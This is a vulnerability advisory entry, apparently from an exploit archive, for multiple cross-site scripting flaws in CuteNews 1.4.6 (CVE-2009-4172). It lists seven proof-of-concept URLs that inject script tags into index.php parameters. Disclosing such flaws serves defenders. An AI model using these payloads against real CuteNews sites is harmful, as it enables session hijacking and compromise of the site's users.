CuteNews 1.4.6 - 'index.php' Multiple Cross-Site Scripting Vulnerabilities

Author: Andrew Horton
type: webapps
platform: php
port: 
date_added: 2009-11-10 
date_updated: 2014-05-14 
verified: 1 
codes: CVE-2009-4172;OSVDB-60635 
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aliases:  
screenshot_url:  
application_url: 

source: https://www.securityfocus.com/bid/36971/info

CuteNews and UTF-8 CuteNews are prone to multiple vulnerabilities, including cross-site scripting, HTML-injection, information-disclosure, arbitrary-script-injection, and security-bypass issues.

Note that exploits for some of the issues may require administrator privilege.

Successful exploits may allow attackers to:
- obtain sensitive information
- gain unauthorized access to the affected application
- run arbitrary script code in the browser of an unsuspecting user in the context of the affected site
- hijack user sessions
- execute arbitrary commands in the context of the webserver process

A successful attack will compromise the application and may aid in further attacks.

http://www.example.com/test/cutenews/index.php?lastusername='%3E%3Cscript%3Ealert(/xss/);%3C/script%3E
http://www.example.com/test/cutenews/index.php?mod=%3Cscript%3Ealert(/xss/)%3C/script%3E
http://www.example.com/test/cutenews/index.php?mod=editnews&action=list&cat_msg=%3Cscript%3Ealert(/xss/);%3C/script%3E
http://www.example.com/test/cutenews/index.php?mod=editnews&action=list&source_msg=%3Cscript%3Ealert(/xss/);%3C/script%3E
http://www.example.com/test/cutenews/index.php?mod=editnews&action=list&postponed_selected=%3E%3Cscript%3Ealert(/xss/);%3C/script%3E
http://www.example.com/test/cutenews/index.php?mod=editnews&action=list&unapproved_selected=%3E%3Cscript%3Ealert(/xss/);%3C/script%3E
http://www.example.com/test/cutenews/index.php?mod=editnews&action=list&news_per_page=%3Cscript%3Ealert(/xss/);%3C/script%3E